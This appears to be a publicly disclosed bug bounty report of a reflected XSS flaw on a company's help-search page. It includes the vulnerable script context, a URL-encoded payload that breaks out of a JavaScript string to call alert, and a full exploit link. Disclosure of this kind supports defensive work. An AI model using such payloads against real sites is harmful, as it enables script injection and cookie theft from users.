HexBrain

Equifax-vdp · Report #1818163

reflected XSS in [www.equifax.com]

Validstatus
mediumseverity
47upvotes
23 Apr 2023disclosed

Summary

A reflected XSS vulnerability was found by modified the parameters of the [Analytics.trackEvent] javascript function.

How it was found

hi , I hope you are well, i found reflected XSS in this endpoint: https://www.equifax.com/personal/help/search?search=broook

Steps:

  1. open https://www.equifax.com/personal/help/search?search=broook

  2. view the source code of the page and search for word broook you will find that it reflected in the source code: {F2094830}

  3. broook word reflected in javascript code:

<script type="text/javascript">
           window.onload = function(e){
            	Analytics.trackEvent('emptySearch',{internalSearchTerm: "broook" , numOfSearchResultsReturned: 0});
            	}
           </script>
  1. By using this payload %22%20%2C%20internalSearchTerm%3A%20%5B7%5D.map%28alert%29%20%2C%20numOfSearchResultsReturned%3A%20%22b , I modified the parameters of the Analytics.trackEvent function to be like this:
<script type="text/javascript">
	      window.onload = function(e){
	          Analytics.trackEvent('SEARCHRETURNED',{internalSearchTerm: "" , internalSearchTerm: [7].map(alert) , numOfSearchResultsReturned: "b" , numOfSearchResultsReturned: 167});            	
	               	}
	     </script>

{F2094863}

  1. the following is the link with my XSS payload : https://www.equifax.com/personal/help/search?search=%22%20%2C%20internalSearchTerm%3A%20%5B7%5D.map%28alert%29%20%2C%20numOfSearchResultsReturned%3A%20%22b

{F2094867}

Impact

an attacker can exeute JS codes on the victims and this could be steal user's cookies

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original